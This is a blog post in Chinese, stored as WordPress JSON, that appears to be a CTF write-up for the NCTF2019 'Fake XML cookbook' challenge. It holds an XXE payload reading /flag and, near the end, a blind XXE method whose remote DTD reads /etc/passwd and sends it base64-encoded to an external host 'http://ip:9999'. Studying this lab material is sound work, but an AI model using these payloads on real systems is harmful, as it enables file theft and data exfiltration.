{"id":133,"date":"2026-05-18T19:34:06","date_gmt":"2026-05-18T11:34:06","guid":{"rendered":"https:\/\/asum1.fun\/?p=133"},"modified":"2026-05-18T19:34:07","modified_gmt":"2026-05-18T11:34:07","slug":"nctf2019fake-xml-cookbook","status":"publish","type":"post","link":"https:\/\/asum1.fun\/index.php\/2026\/05\/18\/nctf2019fake-xml-cookbook\/","title":{"rendered":"[NCTF2019]Fake XML cookbook"},"content":{"rendered":"\n

\u8003\u70b9\uff1axml\u6ce8\u5165<\/h2>\n\n\n\n

\u67e5\u770b\u7f51\u9875\u6e90\u7801<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
function doLogin(){\n\tvar username = $(\"#username\").val();\n\tvar password = $(\"#password\").val();\n\tif(username == \"\" || password == \"\"){\n\t\talert(\"Please enter the username and password!\");\n\t\treturn;\n\t}\n\t\n\tvar data = \"<user><username>\" + username + \"<\/username><password>\" + password + \"<\/password><\/user>\"; \n    $.ajax({\n        type: \"POST\",\n        url: \"doLogin.php\",\n        contentType: \"application\/xml;charset=utf-8\",\n        data: data,\n        dataType: \"xml\",\n        anysc: false,\n        success: function (result) {\n        \tvar code = result.getElementsByTagName(\"code\")[0].childNodes[0].nodeValue;\n        \tvar msg = result.getElementsByTagName(\"msg\")[0].childNodes[0].nodeValue;\n        \tif(code == \"0\"){\n        \t\t$(\".msg\").text(msg + \" login fail!\");\n        \t}else if(code == \"1\"){\n        \t\t$(\".msg\").text(msg + \" login success!\");\n        \t}else{\n        \t\t$(\".msg\").text(\"error:\" + msg);\n        \t}\n        },\n        error: function (XMLHttpRequest,textStatus,errorThrown) {\n            $(\".msg\").text(errorThrown + ':' + textStatus);\n        }\n    }); \n}<\/code><\/pre>\n\n\n\n
\u53ef\u4ee5\u770b\u5230\u8fd9\u662f\u6839\u636ePOST\u8bf7\u6c42\uff0c\u6309\u7167xml\u89e3\u6790\uff0c\u8fd4\u56demsg\uff0c\u8fd9\u8bf4\u660e\u8fd9\u662f\u4e00\u4e2a\u6709\u56de\u663e\u7684xml\u6ce8\u5165\uff0c\u56de\u663e\u4f4d\u662fmsg<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6293\u5305<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f1a\u56de\u663e\u7684\u662f<username>\u91cc\u7684\u5185\u5bb9\uff0c\u6240\u6709\u6784\u9020\u5982\u4e0bpayload<\/p>\n\n\n\n
<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!DOCTYPE note [\n  <!ENTITY admin SYSTEM \"file:\/\/\/flag\">\n  ]>\n<user><username>&admin;<\/username><password>123<\/password><\/user><\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6211\u8fd9\u91cc\u53d1\u751f\u4e86\u62a5\u9519<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f46\u662f\u770b\u4e86\u5927\u4f6c\u7684WP\uff0c\u4ee3\u7801\u6ca1\u95ee\u9898\uff0c\u67e5\u4e86AI\u8fd9\u4e2a\u62a5\u9519\u662f\u4ec0\u4e48\u610f\u601d\uff0c\u8bf4\u662f\u6838\u5fc3\u95ee\u9898\u5728connection reset\u4e86\uff0c\u6211\u6000\u7591\u53ef\u80fd\u662fBurp\u81ea\u8eab\u95ee\u9898\uff0c\u5220\u4e86mcp\u62d3\u5c55\uff0c\u5220\u4e86\u6570\u636e\u53c8\u88c5\uff0c\u6700\u540e\u8fd8\u641e\u4e86\u6700\u65b0\u7248\u7684Burp Suite2026.4\uff0c\u7ed3\u679c\u90fd\u4e0d\u884c\uff0c\u641e\u4e86\u4e00\u4e2a\u5468\u672b\u90fd\u6ca1\u641e\u5b9a\uff0c\u521a\u60f3\u95ee\u5b66\u957f\uff0c\u5c31\u60f3\u5230\u4e4b\u524d\u7684\u4e00\u4e9b\u95ee\u9898\u662f\u6821\u56ed\u7f51\u7684\u95ee\u9898\uff0c\u4e8e\u662f\u5207\u6362\u4e86\u4e2a\u4eba\u70ed\u70b9<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u518d\u8d34\u4e00\u4e2a\u65e0\u56de\u663e\u7684XXE\u7684\u65b9\u6cd5\uff0c\u5148\u5728\u4e91\u670d\u52a1\u5668\u4e0a\u8d34\u8fd9\u4e2a\u5230test.dtd<\/p>\n\n\n\n
<!ENTITY % file SYSTEM \"php:\/\/filter\/convert.base64-encode\/resource=file:\/\/\/etc\/passwd\">\n<!ENTITY % int \"<!ENTITY &#37; send SYSTEM 'http:\/\/ip:9999\/?q=%file;'>\"><\/code><\/pre>\n\n\n\n
\u518d\u53d1payload<\/p>\n\n\n\n
<!DOCTYPE convert [\n<!ENTITY % remote SYSTEM \"http:\/\/ip\/test.dtd\">\n%remote;%int;%send;\n]><\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
\u8003\u70b9\uff1axml\u6ce8\u5165 \u67e5\u770b\u7f51\u9875\u6e90\u7801 \u53ef\u4ee5\u770b\u5230\u8fd9\u662f\u6839\u636ePOST\u8bf7\u6c42\uff0c\u6309\u7167xml\u89e3\u6790\uff0c\u8fd4\u56demsg\uff0c\u8fd9\u8bf4\u660e\u8fd9\u662f\u4e00\u4e2a\u6709\u56de\u663e […]<\/p>\n","protected":false},"author":1,"featured_media":118,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-133","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn"],"_links":{"self":[{"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/posts\/133","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/comments?post=133"}],"version-history":[{"count":1,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/posts\/133\/revisions"}],"predecessor-version":[{"id":142,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/posts\/133\/revisions\/142"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/media\/118"}],"wp:attachment":[{"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/media?parent=133"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/categories?post=133"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/tags?post=133"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}